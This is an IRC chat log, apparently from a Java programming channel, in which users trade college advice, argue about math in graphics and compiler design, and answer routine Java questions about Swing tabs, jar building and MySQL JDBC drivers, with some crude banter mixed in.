[02:33:43] <Gorbulas> I don't know where the results are atm
[02:33:45] <jake> Well, my mom used to tell me I was "big boned"
[02:34:04] <Calcifer> where are you from gorb ?
[02:34:05] <Gorbulas> so that's not really that great?
[02:34:11] <Gorbulas> the US
[02:34:14] <Calcifer> k
[02:34:22] <jake> I have no idea. I just know my mom was being nice when she called me "big boned" :)
[02:34:30] <Gorbulas> used to be in California, but now I've moved to the New England area
[02:34:55] <Gorbulas> my English teacher wouldn't have lied to make me feel better about it
[02:35:29] <Gorbulas> but I really don't know what I should be doing
[02:35:37] <Gorbulas> I don't know what to look for in a college
[02:35:48] <Gorbulas> I don't even know what computer major I want to go into
[02:35:49] <Calcifer> chicks
[02:35:54] <cybereal> beer
[02:36:02] <Calcifer> wild parties
[02:36:06] <cybereal> beer and chicks pretty much
[02:36:07] <jake> That covers the important bases
[02:36:24] <Calcifer> and fast internet
[02:36:30] <Calcifer> (not to forget)
[02:36:35] <Gorbulas> fast internet sounds better than alcohol
[02:36:44] <Calcifer> that depends
[02:36:44] <cybereal> yes but it won't get you drunk
[02:36:49] <jake> it can be, if the alcohol doesn't get you laid and you need porn
[02:36:50] <Calcifer> on how many beers you had
[02:36:50] <cybereal> or laid
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[02:38:38] <Calcifer> what to look for is easy
[02:38:47] <Calcifer> the hard part is what to avoid
[02:39:52] <Gorbulas> is there some guide somewhere?
[02:40:02] <Gorbulas> I must have missed something
[02:40:20] <Calcifer> we are your guide
[02:40:22] <Gorbulas> at this new school it seems like I am expected to know where I am going already
[02:40:31] <timofeyc> the guide is your brain
[02:40:31] <Calcifer> no dude
[02:40:36] <Calcifer> ye
[02:40:37] <Gorbulas> and at the old school it seemed like they were going to guide me through it
[02:40:49] <jake> perhaps a guidance counselor, and not an irc chat room, is the way to go in terms of direction
[02:40:57] <Calcifer> gorb, that natural, your young and uncertain
[02:41:17] <timofeyc> they cant help you.  they dont work in the real world anymore anyway
[02:41:32] <Calcifer> what that
[02:41:36] <Calcifer> *what is that
[02:41:49] <Calcifer> some new vector world ?
[02:42:07] <Calcifer> or a new un-real engine
[02:42:37] <timofeyc> teachers will always be behind, because at some point they stopped working in the inducstry they teach about
[02:43:07] <Calcifer> there are 2 kinds of programming teachers:
[02:43:23] <Calcifer> 1. the ones who know what they're doing
[02:43:35] <Calcifer> 2. the ones who can actually explain something to you
[02:43:45] <timofeyc> and the industry moves fast, so you have to stay current yourself, not by asking some guide councillor who will just tell you how many units you need to graduate (which is also important)
[02:44:01] <Gorbulas> I want the opinions of people who have gone through college getting a computer related degree for programming
[02:44:14] <Calcifer> im almost done ....
[02:44:29] <timofeyc> i got mine 10 years ago and it was worthless
[02:44:35] <Calcifer> ya
[02:44:54] <timofeyc> the education part of it, at least
[02:45:08] <Calcifer> by the way, anyone willing to help me out with that rmi activation crap ?
[02:45:54] <Calcifer> hmm k
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[02:46:01] <jake> I got a degree in Mathematics and haven't really used it. I majored in something I was interested in, and programmed as a hobby.
[02:46:05] <Gorbulas> I don't know any RMI
[02:46:24] <jake> Most universities do a shit job in the instruction of computer science
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[02:47:12] <timofeyc> where did my rmi book go?  i guess i lost it
[02:47:58] <slava> actually, "teachers" (CS professors) tend to do research which defines the future of the industry
[02:48:36] <Calcifer> timo. im trying to get the java sun activation example to work (but it only works locally for me)
[02:48:37] <timofeyc> luckily I tought myself how to program before I went to uni.  my teachers were defining a future that never happened
[02:49:13] <timofeyc> Calcifer: what's the link to that sample?
[02:49:39] <Calcifer> http://java.sun.com/j2se/1.4.2/docs/guide/rmi/activation/activation.3.html
[02:50:53] <Calcifer> wait
[02:50:55] <Gorbulas> so, no pointers for me?
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[02:51:08] <Calcifer> no its okay
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[02:51:24] <Calcifer> gorb: you're a bit vague, what do you want to know exactly
[02:51:30] <slava> i don't think university CS education should start from scratch
[02:51:49] <slava> university math does not spend the first year teaching elementary school arithmetic, so why should CS spend the first year teaching basic stuff
[02:52:25] <Gorbulas> I don't know where I'm going next year at all
[02:52:26] <Calcifer> cause you dont learn programming in elementry school
[02:52:34] <cybereal> I did
[02:52:38] <Calcifer> oh
[02:52:43] <Gorbulas> and I don't know what major I want to go in(what is the difference?)
[02:52:49] <cybereal> Logowriter
[02:52:50] <slava> Calcifer:  then why don't they make it part of the cirriculum?
[02:52:53] <cybereal> at a camp
[02:53:00] <cybereal> promoted by my ele. in 6th grade
[02:53:04] <cybereal> but I could already program before that
[02:53:44] <Calcifer> slava, i dont know what cirriculum means, sorry
[02:53:59] <cybereal> Calcifer: it's the guide for what is learned in a course or program at school
[02:54:09] <Calcifer> ok
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[02:57:18] <timofeyc> Gorbulas: the (main) point is to finish college to prove that you can finsih something and have a degree which you may never need to show anyone.  so it doesnt matter what your gegree is in, just that you can finish it
[02:57:28] <slava> err
[02:57:31] <slava> the main point of college is to learn
[02:57:51] <timofeyc> learn about everything?
[02:58:12] <slava> no, learn about something
[02:58:15] <Gorbulas> I thought we were supposed to gain something more than a sheet of paper
[02:58:23] <slava> you can knowledge
[02:58:25] <timofeyc> i "learned" about computer scienvce that at the time was history
[02:58:32] <slava> how so?
[02:58:48] <slava> i learned linear algebra in my math degree. gosh, that stuff is 300 years old, so outdated!
[02:59:02] <slava> yet now i'm getting paid to do 3d graphics software
[02:59:27] <jwormy> hehehe
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[03:00:19] <timofeyc> I had a job doing computer graphics while I was at college, and knew more about the computer industry than my professors did, who used outdated textbooks and knew nothing about the software apps used in the industry
[03:00:35] <slava> what textbooks did they use?
[03:00:52] <timofeyc> slava:  where did you learn the stuff you use to do 3d graphics?  in a classroom?
[03:00:58] <slava> partly, yes
[03:01:08] <slava> i had some algebra and geometry courses in 3rd year which really helped
[03:01:10] <Frederick> timing, those who know do those who dont teach
[03:01:21] <slava> Frederick: bullshit
[03:01:24] <Frederick> I meant timofeyc
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[03:01:36] <jwormy> eh linear algebra is very useful in graphics :)
[03:02:03] <Frederick> slava, this stuff a teacher who has an "idea" to a "great" project is thatis bullshit
[03:02:05] <slava> timofeyc: i wrote my first 3d engine when i was 13, but i did not know enough advanced math at the time to do a good job
[03:02:42] <timofeyc> it depends on what your doing.  i got a degree in computer science and art, so i could do computer graphics, but neither one taught me more than i tought myself before i went to college
[03:02:56] <timofeyc> taught even
[03:02:57] <jwormy> if you wanna do computer graphics major in math
[03:03:02] <slava> you need math to do computer graphics, not some bullshit art degree
[03:03:20] <jwormy> art for a graphics programmer is as useful to him as nursing is
[03:03:22] <timofeyc> its a big field
[03:03:33] <timofeyc> art was more fun
[03:03:43] <timofeyc> it got me laid more
[03:03:46] <jwormy> argh art people at my school are weird
[03:03:52] <Frederick> slava, if you wanna do CG study CG, Ive done algebra and is is almost useless to CG
[03:04:21] <jwormy> Frederick, computer graphics ARE linear algebra
[03:04:41] <slava> Frederick: actually nowadays i learn on my own by reading books and papers
[03:04:46] <jwormy> if you want to do computer graphics without doing linear algebra i have more respect for someone who got his degree out of a vending machine
[03:04:46] <Frederick> jwormy, no cause unless you are going to re-write Opengl you dont need it
[03:04:53] <slava> Frederick: hahaha
[03:05:08] <slava> you're saying you don't have to know matrices, quaternions and so on just to use OpenGL?
[03:05:16] <slava> well try doing anything non-trivial and you will...
[03:05:19] <Frederick> jwormy, I did algebra and calculus it is useless
[03:05:29] <jwormy> Frederick, algebra or linear algebra?
[03:05:33] <slava> Frederick: just 2 courses of math? that's all?
[03:05:34] <dewaard> i'm considering to write a little chess application, as a learning project. my main concern is how to create the board GUI. what kind of (Swing) components would you use? Different components or just one big pane containing the board?
[03:05:35] <timofeyc> slava: you learn the same way you did before you went to college
[03:05:49] <slava> timofeyc: but doing a math degree has helped me understand a lot of things in programming
[03:05:56] <Gorbulas> once you get to calculus, algebra is not considered "math"
[03:06:01] <slava> wtf?
[03:06:01] <Frederick> slava, I had, combinatories, calculus I and II probability, discrete math
[03:06:08] <Gorbulas> like simple stuff
[03:06:09] <slava> Frederick: yeah well i had 4 years of 5 classes/semester
[03:06:23] <Frederick> slava, what are you majoring? math?
[03:06:26] <slava> Frederick: yes
[03:06:27] <timofeyc> so maybe i should ahve done a math degree instead of a computer science degree
[03:06:42] <Frederick> slava, good luck im majoring cs
[03:07:03] <jwormy> Frederick, you have 'algebra' confused with 'linear algebra'
[03:07:09] <Frederick> slava, so you agree that calculus is pretty much useless since all theory is based on continuous
[03:07:09] <Gorbulas> like x-1=2 is about as easy as 1+1=2
[03:07:13] <Gorbulas> oops
[03:07:14] <Frederick> jwormy, no
[03:07:15] <slava> Frederick: i wonder how you'd do in the program i maintain at work then. we use a lot of advanced math that no CS student would know...
[03:07:15] <Gorbulas> x-1=1
[03:07:16] <Gorbulas> lol
[03:07:29] <Gorbulas> I'm playing ET on the other screen
[03:07:39] <slava> Frederick: i've used a lot of calculus in programming before. i wrote a physics engine that had a differential equatin solver; that's calculus
[03:07:41] <Frederick> jwormy, thses are different stuff
[03:08:38] <Frederick> slava, this is a specific aplication
[03:08:52] <slava> what is that supposed to mean?
[03:09:06] <Frederick> slava, do you know mips assembly?
[03:09:10] <slava> no
[03:09:14] <slava> but i could learn it in a day
[03:09:24] <Frederick> slava, sure yu are a genious
[03:09:24] <slava> i know x86 and powerpc
[03:09:41] <Frederick> slava, the point is I had a bunch of math in university and I dont use it
[03:09:42] <slava> once you know one assembler learning another one is trivial
[03:09:48] <slava> Frederick: what kind of programming do you do?
[03:09:49] <Frederick> Ive sucessfully forgotten all that crap
[03:09:59] <fforw> some assemblers are far uglier than others though
[03:10:04] <Frederick> slava, now a days OS programming
[03:10:10] <slava> you write operating systems?
[03:10:36] <Frederick> slava, no, im writting pieces of an OS, small ones like memmory manegment units
[03:10:54] <Frederick> small compared with a complete os
[03:11:15] <slava> Frederick: i'm working on a compiler and i've found i can get good results by approaching problems with an abstract algebra mindset
[03:11:33] <Frederick> slava, good luck with lsd :p
[03:11:35] <slava> a lot of the things a compiler deals with come from algebra, logic and set theory
[03:11:47] <Frederick> slava, I know take matrix multiplications by example
[03:11:57] <slava> a compiler doesn't use matrix multiplication...
[03:12:26] <Frederick> slava, doesnt use but would be nice if it use good algorithms to generate its code
[03:12:37] <slava> sure
[03:13:10] <Frederick> slava, a good algorithm can have a HUGE difference, in the matter of seconds even minutes with small changes
[03:13:23] <timofeyc> slava: so what language are you writing the compiler in?
[03:13:30] <Frederick> prolly C
[03:13:43] <slava> writing a compiler in C is foolish
[03:13:58] <Frederick> C ++? Dont say you will writte it in java
[03:14:06] <slava> i work on a language called factor, the compiler is written in itself
[03:14:17] <Clackwell> yeah, writing a compiler in java would be so silly
[03:14:23] <timofeyc> writing a compiler could be seen as foolish too
[03:14:27] <Clackwell> imagine, a cross-platform compiler, how dumb is that.
[03:14:34] <slava> timofeyc:  why?
[03:14:43] <slava> the gcc developers are so foolish...
[03:14:45] <timofeyc> not in a bad way
[03:14:52] <Clackwell> hallo everyone :)
[03:15:01] <slava> it would be so much better if we didn't have any compilers... all those fools are wasting their time
[03:15:02] <timofeyc> life is foolish
[03:15:25] <timofeyc> im just being abstract
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[03:15:51] <timofeyc> i just dont understand when you say factor is written in factor.
[03:16:17] <Frederick> slava, I agree long life to interpreted languages
[03:16:31] <slava> timofeyc: gcc is written in C, right?
[03:16:34] <slava> timofeyc: same idea
[03:16:42] <jwormy> booootstrap
[03:16:47] <timofeyc> so factor is written in c?
[03:16:53] <slava> no, its written in factor
[03:16:54] <jwormy> no factor is writen in factor
[03:16:58] <quietdisaster> wtf
[03:17:06] <slava> a small part is in C (garbage collector and object memory)
[03:17:29] <Hikaru79> quietdisaster, languages can be written in themselves. gcc is.
[03:17:53] <slava> thank god gcc is not written in assembly
[03:17:55] <timofeyc> you just said writing a compiler in C is foolish...
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[03:18:10] <slava> i still think that is true
[03:18:16] <slava> that's why i'm not writing a compiler in C
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[03:18:27] <Frederick> after Ived coded in ML I dont complain of imperative languages
[03:18:40] <timofeyc> except the small parts that everything relies on
[03:19:04] <quietdisaster> hikaru79: i understand that, i just didn't understand the question, nm
[03:19:11] <slava> its not foolish writing a garbage collector in C.
[03:19:26] <slava> but a compiler in C is silly. C is too low-level.
[03:19:44] <timofeyc> i'm not complaining.  I think its great that your writing a languge.
[03:20:23] <slava> Frederick: ML is great
[03:20:36] <Frederick> slava, moscow ml sucks
[03:20:43] <slava> try ocaml
[03:20:43] <Frederick> the docs stink
[03:21:08] <slava> there are tons of good ML books
[03:21:27] <Frederick> slava, I will try Haskell as funktional language
[03:24:07] <timofeyc> slava:  what do you think of Ruby?
[03:24:18] <slava> why does my opinoin of ruby matteR?
[03:24:45] <timofeyc> do you wanna get existential?
[03:25:12] <slava> i don't like ruby
[03:26:11] <timofeyc> im just curious as you think about different languages more than me.  people say they have fun coding in Ruby, and I like having fun, so I wonder about it
[03:26:46] <timofeyc> but i like java.  its enough for me right now.  but i know in the future things will be different
[03:26:46] <Frederick> timofeyc, if you wanna have fun code in white space
[03:27:22] <quietdisaster> white space is nothing, try the shakespeare language
[03:28:05] <Frederick> quietdisaster, lemme google
[03:28:25] <quietdisaster> "There are no fancy data or control structures, just basic arithmetic and gotos.  You can say we have combined the expressiveness of BASIC with the user-friendliness of assembly language."
[03:28:33] <slava> or if you really want to obfuscate your code, try groovy
[03:29:14] <fforw> brainfuck!
[03:29:43] <quietdisaster> what's the language for monkeys?  ook?
[03:29:50] <quietdisaster> that one is pretty sweet
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[03:40:43] <Frederick> quietdisaster, pascal is tha language
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[03:49:22] <quietdisaster> dude, i learned in pascal
[03:49:27] <quietdisaster> it's not really that bad
[03:50:20] <cybereal> object pascal is underrated
[03:50:27] <quietdisaster> i agree
[03:50:33] <cybereal> I'd take delphi over vb for that type of development any day
[03:50:35] <quietdisaster> i just finished a program in delphi the other day
[03:50:48] <cybereal> I used to program solely in delphi until I switched to linux
[03:51:00] <cybereal> Also about the time I started caring about not pirating my dev. tools :)
[03:51:21] <quietdisaster> two of my high school programming classes were in pascal, one was in vb.  I didn't learn java until college.  I can tell you i got more out of the pascal classes than the vb ones.
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[03:52:24] <cybereal> duh
[03:52:35] <cybereal> only thing vb fosters is bad habits
[03:53:14] <Gorbulas> oh
[03:53:15] <Gorbulas> it is terrible
[03:53:17] <Gorbulas> my school
[03:53:21] <Gorbulas> has books
[03:53:26] <Gorbulas> for VB 4.0
[03:53:34] <jwormy> hahahaha
[03:53:48] <jwormy> wasn't there a 4.0 and a 4.5?
[03:53:53] <Gorbulas> they were intending to teach a programming class if enough people signed up
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[03:54:43] <cybereal> VB in dos was better
[03:55:10] <Gorbulas> how?
[03:55:19] <Gorbulas> it came with it's own windowing system?
[03:55:29] <cybereal> Well it was for dos
[03:55:50] <cybereal> Had something like borland's apps had that did a text interface like the borland editor and such
[03:56:02] <cybereal> But mainly it was better because it didn't pretend to do things it's not meant for
[03:56:04] <Gorbulas> but you can't have VB without the V
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[03:56:17] <cybereal> Gorbulas: heh well it existed
[03:56:54] <quietdisaster> "It is practically impossible to teach good programming to students that have had a prior exposure to BASIC: as potential programmers they are mentally mutilated beyond hope of regeneration."
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[03:57:06] <quietdisaster> i blame my hs for my programming suckage
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[04:04:07] <bgilb> i never learned basic :D
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[04:04:52] <MrPrimate> hey,
[04:04:58] <MrPrimate> BASIC is not going to ruin anyone for programming
[04:05:06] <MrPrimate> it's just really BASIC  :]
[04:05:16] <mohadib> MrPrimate: you are ruined
[04:05:17] <MrPrimate> it's procedural, you learn about loops and variables and things
[04:05:18] <mohadib> im sorry
[04:05:28] <MrPrimate> mohadib, yes, I am ruined, but not from BASIC
[04:05:29] <mohadib> MrPrimate: ;)
[04:05:36] <mohadib> heh
[04:05:36] <MrPrimate> mohadib, i'm ruined from the drugs and alcohol ;]
[04:05:38] <mohadib> perl?
[04:05:41] <mohadib> oh
[04:05:41] <bgilb> OOP is the love of my life
[04:05:46] <MrPrimate> my dog is name perl :)
[04:05:50] <mohadib> hah
[04:05:59] <MrPrimate> she's the cutest dog you've never seen
[04:06:17] <silasj> hello all
[04:06:22] <mohadib> HY!
[04:06:31] <bgilb> i wish my encapsulation skills were better
[04:07:07] <bgilb> is there a term for stacking the code so that it wont compile unless you have the other class files? :D
[04:07:14] <mohadib> bgilb: quit using public fiels , make objects self sufficiant
[04:07:28] <mohadib> bgilb: tightly coupled
[04:08:30] <mohadib> bgilb: but to a degree thats life , but best practices can make things easier
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[04:08:51] <bgilb> i see ..
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[04:10:11] <mohadib> interfaces i think help with this , they dont force unatural relations like inheritance , i think using inheritance , a lot of the time , is breaking encapsulation
[04:11:09] <bgilb> sorry if i sound dumb but inheritence is when you extend right?
[04:11:13] <mohadib> yes
[04:12:39] <mohadib> as in a car is not a stearing wheel ... it impliments sterable ;)
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[04:17:17] <mohadib> ~should i give slava man love
[04:17:17] <javabot> I guess that would be good
[04:17:30] <mohadib> hmm
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[04:21:12] <shredstar> hello
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[04:21:29] <mohadib> that was a kramer like entrance
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[04:22:11] <shredstar> I like how firefox tabpane's have a big red X on the right to dispose the current tab. Can you do that with JTabbedPane?
[04:22:26] <mohadib> kinda
[04:22:56] <shredstar> mohadib: Okay, thanks!
[04:22:57] <mohadib> you can put a x one everytab , but you have to muck around with the internals of JTabbedPane
[04:23:10] <mohadib> on
[04:23:48] <mohadib> i decided to just use a key shortcut till mustang comes out , it will let you use custom components for tabs
[04:23:55] <shredstar> Putting an X on every tab is a totally different thing as having a single X that always applies to the current tab.
[04:23:59] <mohadib> right
[04:24:18] <mohadib> well you can make the bar with the x be on ever tab , or just above the tabbed pane
[04:24:25] <mohadib> hence kinda
[04:24:55] <shredstar> hmm. key shortcut is a great idea. what kills the tab in firefox i wonder...
[04:25:02] <mohadib> s/on every tab/ on the component in each pain area/
[04:25:13] <shredstar> ctrl-w does that.
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[04:25:32] <mohadib> i use ctrl-d ... like closing a term
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[04:26:04] <shredstar> What does Alt+F4 do on windows?
[04:26:10] <mohadib> close a window
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[04:29:28] <wherisat> any1 know a common mistake that would have a JScrollPane be larger than the JTable which it contains? I've never understood it...
[04:30:11] <Drone> View wherisat's post at:  http://www.eugeneciurana.com/pastebin/pastebin.php?show=8337
[04:30:32] <wherisat> well, if anyone cares to look, some executable code is there with what I'm talking about
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[04:34:10] <shredstar> What is mustang?
[04:35:15] <wherisat> ?
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[04:46:27] <pr3d4t0r> ~tell wherisat about aolbonics
[04:46:27] <javabot> wherisat, aolbonics is talking using numbers, or using single letters for you, are, you are, you're, etc. Examples are: Hey evry1; howz it goin?; how r u; ur teh suckz. Talking like this is frowned upon in ##java, and may result in you being silenced. See this for more detail: http://ars.userfriendly.org/cartoons/?id=20041201
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[04:47:28] <pr3d4t0r> vinse!
[04:47:34] <pr3d4t0r> vinse: Taco night!
[04:48:43] <vinse> going out soon
[04:49:06] <vinse> lets make a plan to have tacos some time
[04:49:16] <vinse> instead of just pretending we're going to do it in irc
[04:50:00] <wherisat> anyone know a common mistake that would have a JScrollPane be larger than the JTable which it contains? I've never understood it...
[04:50:04] <vinse> how bout sunday?
[04:50:29] <pr3d4t0r> vinse: Sunday's good.
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[04:50:40] <pr3d4t0r> vinse: Tacos taste better around 0200 in the morning, though.
[04:51:24] <cybereal> pr3d4t0r: they taste especially good after a few dirnks
[04:51:26] <cybereal> drinks
[04:51:49] <Amnesiac> hey pr3d4t0r
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[05:00:23] <pr3d4t0r> Amnesiac!
[05:00:40] <pr3d4t0r> Amnesiac: Explain to mr. vinse that tacos and menudo taste better after partying for a few hours :)
[05:01:04] <cybereal> eww ricky martin
[05:01:10] <cybereal> who would name a band after soup?
[05:01:12] <Amnesiac> w000, that's the best thing you can do after a 'peda'
[05:01:13] <Amnesiac> :)
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[05:03:34] <sugoi> hello all, im having some trouble making a jar file
[05:03:55] <sugoi> i have some packages in my source, and i have the manifest with the fully qualified path and all
[05:04:12] <sugoi> but, my build requires a couple SAXParser 3rd party jar files to build
[05:04:18] <vinse> pr3d4t0r: i lived in san diego, believe me i know the best times to eat a burrito
[05:04:39] <vinse> san diego has 1000s of virtually identical taco shops
[05:04:44] <vinse> all called ___erto's
[05:04:45] <sugoi> my build line is basically `javac -extdir /path/to/other/jars/ -d . source/*.java`
[05:04:57] <vinse> roberto's, royberto's, aliberto's, adelberto's, etc.
[05:04:57] <cybereal> vinse: Salt Lake City has that too
[05:05:12] <cybereal> vinse: *bertos and then there is just "Beto's"
[05:05:14] <sugoi> then i build the jar: `jar -cvmf manifest.txt myapp.jar com`
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[05:05:20] <sugoi> com being the dir with my classes
[05:05:21] <cybereal> they all have the same food
[05:05:32] <sugoi> but it fails to load because it doesnt have the 3rd party jar files in that jar
[05:05:33] <cybereal> and they are all disgusting
[05:05:35] <vinse> they're all disgusting in the light of day, but the best at 2 am
[05:05:36] <sugoi> what should i do?
[05:05:38] <pr3d4t0r> vinse: He, he, he...
[05:05:45] <pr3d4t0r> vinse: What time on Sunday?
[05:05:50] <vinse> i dunno
[05:05:56] <vinse> i may have to work :/
[05:06:05] <vinse> so like
[05:06:06] <vinse> later
[05:06:17] <vinse> first week there, and i'm already coming in on weekends :/
[05:09:35] <sugoi> can i specifiy multiple class dirs with jar?
[05:10:00] <sugoi> like: jar -cvmf manifest.txt app.jar classDir1 classDir2  .... classDirN ?
[05:10:10] <cybereal> tias
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[05:11:35] <isuru> hello
[05:11:49] <isuru> has anyone had any experience using JDBC with mySQL?
[05:12:04] <MacIver> yes
[05:12:17] <isuru> what driver did you use?
[05:13:15] <cybereal> isuru: do you HAVE to use mysql?
[05:13:23] <cybereal> because postgresql is free too and is much better
[05:13:31] <cybereal> Or Derby even
[05:13:33] <cybereal> mysql = toy
[05:14:09] <MacIver> isuru: the one on mysql's website
[05:14:15] <MacIver> cybereal: lol
[05:14:20] <sugoi> HA
[05:14:22] <sugoi> i got it!!
[05:14:30] <sugoi> =P
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[05:14:52] <MacIver> cybereal: does it still require that you take the db down periodically and run 'vacuum'?
[05:15:37] <isuru> cybereal, I'd like to use postgresql
[05:15:43] <cybereal> MacIver: it's not required
[05:15:50] <isuru> but I'm on a 56k connection
[05:15:53] <MacIver> cybereal: ah, it used to be
[05:15:55] <isuru> and I'm in windows
[05:15:58] <cybereal> MacIver: and I don't think you have to take it down anymore, though I'd point out that all db's need that type of maintainence occasionally
[05:15:59] <pr3d4t0r> vinse: http://eugeneciurana.com/personal/images/Everybody-at-sushi.jpg
[05:16:05] <cybereal> MacIver: i.e. you can't back up a database while it's online and being used
[05:16:11] <isuru> and this box already has mysql
[05:16:16] <cybereal> isuru: I see
[05:16:22] <MacIver> cybereal: uh, yes you can ;-)
[05:16:24] <MacIver> snapshot
[05:16:27] <MacIver> transactions
[05:16:30] <MacIver> ;-)
[05:16:30] <isuru> I'm wondering how I can install a .zip classes package
[05:16:32] <MacIver> oracle
[05:16:33] <isuru> in windows
[05:17:50] <isuru> don't suppose anyone here uses windows?
[05:18:14] <cybereal> isuru: .zip class package?  it's probably just a jar in disguise, your app has to point to them
[05:18:51] <pr3d4t0r> cybereal: Or an old style package.
[05:19:13] <isuru> I got it from here: http://www.firstsql.com/mysqljdbc.shtml
[05:19:28] <MacIver> isuru: just go to mysql.com and download the real mccoy
[05:20:03] <isuru> MacIver: will do that, just for additional info, this is the app that I'm trying to get working: http://www.jodpie.com/wp/jodpie/installation-with-mysql/
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[05:20:36] <MacIver> isuru: and iirc it comes with a zip file, unzip and grab just the jar (that's all you need)
[05:20:54] <isuru> ok, thanks, will try that
[05:21:34] <cybereal> MacIver: I don't think any db's besides oracle allow hot backups; even mssql will bitch at you if anything is using the db you want to run a backup on
[05:21:59] <MacIver> cybereal: well depends on the backend
[05:22:23] <cybereal> MacIver: the backend? of what, ms sql?
[05:22:28] <cybereal> like there's a choice?
[05:22:31] <MacIver> vymysql
[05:22:34] <MacIver> er cybereal
[05:22:40] <cybereal> MacIver: I said mssql not mysql
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[05:22:50] <MacIver> cybereal: oh, sorry, missed that
[05:22:58] <cybereal> mysql loses before it starts for not having the features they finally added in 5.0 that isn't actually released yet
[05:23:09] <cybereal> and even then, who knows if they will work well?
[05:24:25] <cybereal> I am kind of interested in db4o or similar
[05:25:44] <cybereal> *sigh* time to retrieve the girlfriend
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[05:36:22] <pr3d4t0r> http://upload.wikimedia.org/wikipedia/en/6/6c/Jack_Thompson.jpg -- LOL
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[05:47:07] <slava> pr3d4t0r: is there any way to disable the 'crash report' dialog box in os x programmically for one process?
[05:48:19] <pr3d4t0r> slava: None that I know of.
[05:48:25] <slava> that sucks
[05:48:34] <slava> actually, it must be possible
[05:48:39] <pr3d4t0r> slava: Probably.
[05:48:48] <pr3d4t0r> slava: Why would you like to do that, though?
[05:49:41] <slava> pr3d4t0r: funky memory management involving guard pages
[05:50:43] <slava> pr3d4t0r: factor maps unreadable pages at the top and bottom of the stack, and if they are hit, an exception is thrown
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[05:51:09] <slava> but the crash reporter slows down this process and its annoying that the dialog is shown
[05:56:07] <slava> ooh, it can be done with mach calls
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[06:03:30] <tyir> Hi, I have a class A, which spawns threads of class B, is there any easier way for the B's to access the variables of A, other than passing them into the constructor for B one at a time?
[06:04:51] <slava> pr3d4t0r: jonathan ordered some more RAM today.
[06:04:53] <tyir> I thought of passing 'this' into the constructor for the Bs, and save it as a A myA in the Bs, and access stuff like myA.whatever, but I got an non-static variable this cannot be references from a static context
[06:04:58] <pr3d4t0r> slava: He must like you.
[06:05:24] <pr3d4t0r> tyir: Your approach is correct; your implementation isn't.
[06:05:57] <pr3d4t0r> tyir: And you shoul NEVER access the variables of another class/object directly.  Public variables are a no-no.
[06:06:06] <pr3d4t0r> s/shoul/should/
[06:07:00] <tyir> so what would be the correct way to access them then?
[06:07:08] <pr3d4t0r> tyir: Define accessors for them.
[06:07:33] <slava> pr3d4t0r: accessors are overkill for simple stuff.
[06:07:35] <pr3d4t0r> myA.getSomeAttribute();
[06:07:41] <rogue-kun{B}> pr3d4t0r: public final are ok though 8)
[06:07:46] <pr3d4t0r> slava: No, they aren't.  Look at Smalltalk :)
[06:07:48] <tyir> ok, for a simle example I have say a final int n=4 in my A class
[06:08:08] <pr3d4t0r> tyir: What are the semantics of 'n'?
[06:08:11] <pr3d4t0r> tyir: What's n?
[06:08:19] <tyir> simple
[06:08:29] <tyir> sorry, what do you mean by the semantics?
[06:08:33] <pr3d4t0r> tyir: The meaning.
[06:08:37] <slava> pr3d4t0r: look at slate or lisp. getters and setters are auto-generated. you only have to write custom ones if you need to do something more complex than getting or setting the field.
[06:08:51] <pr3d4t0r> slava: Yeah, but those languages suck... ;)
[06:09:02] <mohadib> pr3d4t0r: i let give controllers protected access to buttons on the view often
[06:09:03] <pr3d4t0r> slava: And neither is OOP.
[06:09:04] <slava> pr3d4t0r: they're better than smalltalk :)
[06:09:07] <slava> pr3d4t0r: both are OOP.
[06:09:08] <tyir> its just a final int....
[06:09:22] <slava> pr3d4t0r: slate is a smalltalk dialect
[06:09:49] <rogue-kun{B}> tyir: onther way is makes the Class B Obserible, and maklse Class A Observe it 8)
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[06:11:53] <pr3d4t0r> rogue-kun{B}: Another one is to define an Acceptor interface and implement that in your object.
[06:12:14] <rogue-kun{B}> pr3d4t0r: not familur with that one
[06:12:42] <pr3d4t0r> rogue-kun{B}: The Acceptor is something like this:  public interface Acceptor { public boolean accept(Object anObject); public Object query(Object anObject); }
[06:12:48] <tyir> ok... I just thought there might have been a simpler way...
[06:13:09] <pr3d4t0r> rogue-kun{B}: Basically the implementer looks at the type of anObject and decides what to do with it.
[06:13:19] <pr3d4t0r> rogue-kun{B}: If it handled it correctly, it'll return true.
[06:13:26] <slava> yuck
[06:14:07] <pr3d4t0r> rogue-kun{B}: That way the internals can be as simple or as complicated as you want without exposing any implementation details to the caller.
[06:15:08] <rogue-kun{B}> pr3d4t0r: nass it becomes a super asccort/setter ?
[06:15:25] <slava> learn to type please
[06:15:32] <rogue-kun{B}> i did not me super as in the keyword
[06:15:48] <slava> do you read what you just typed before hitting enter?
[06:16:03] <rogue-kun{B}> slava: got a patch for wetware OS to remove dysgrphia.o? 8)
[06:16:50] <rogue-kun{B}> pr3d4t0r: basically it becomes a super accessor/setter ?
[06:17:04] <pr3d4t0r> rogue-kun{B}: Yes.
[06:17:40] <pr3d4t0r> rogue-kun{B}: It has some neat properties.  The biggest one being that you can build complex synchronization around a single method.
[06:17:51] <pr3d4t0r> rogue-kun{B}: Or around a single operation handled by that method.
[06:18:10] <pr3d4t0r> rogue-kun{B}: It's a very common pattern in concurrent systems programming.
[06:18:22] <rogue-kun{B}> but look closser at it some time 8)
[06:18:28] <pr3d4t0r> rogue-kun{B}: :)
[06:18:49] <pr3d4t0r> rogue-kun{B}: One of these days I may rewrite it using parameterized types and see what becomes of that.
[06:19:11] <slava> pr3d4t0r: interfaces like acceptor and command are just blocks in disguise
[06:19:13] <pr3d4t0r> rogue-kun{B}: You could then come up with some interesting ways of providing some form of type safety.
[06:19:42] <tyir> Ok, but what if the variables that I need to get from A are all final, they never change, passing them into the contructor for the Bs would still work, right?
[06:20:01] <pr3d4t0r> rogue-kun{B}: For example, you could write an interrupt handler like:  public boolean accept(T); so that the interface InterruptHandler<T extends Number>
[06:20:02] <rogue-kun{B}> tyir: hi
[06:20:08] <rogue-kun{B}> hai even...yes
[06:20:22] <pr3d4t0r> tyir: Yeah, but that's still fugly.
[06:20:23] <slava> pr3d4t0r: yuck.
[06:20:26] <tyir> but it would just be ugly
[06:20:36] <pr3d4t0r> slava: ::shrug::
[06:20:38] <tyir> ok
[06:20:50] <pr3d4t0r> slava: Go write some OS level code and we'll discuss when you're done.
[06:20:50] <tyir> I'll try implementing it with Observable
[06:20:58] <slava> pr3d4t0r: in java?
[06:20:59] <tyir> thanks veyr much guys
[06:22:07] <rogue-kun{B}> No problem i has simmualr issue with my JTable and Data Object 8) untill I had observe point out to me 8)
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[06:22:59] <pr3d4t0r> slava: Yes, in Java.
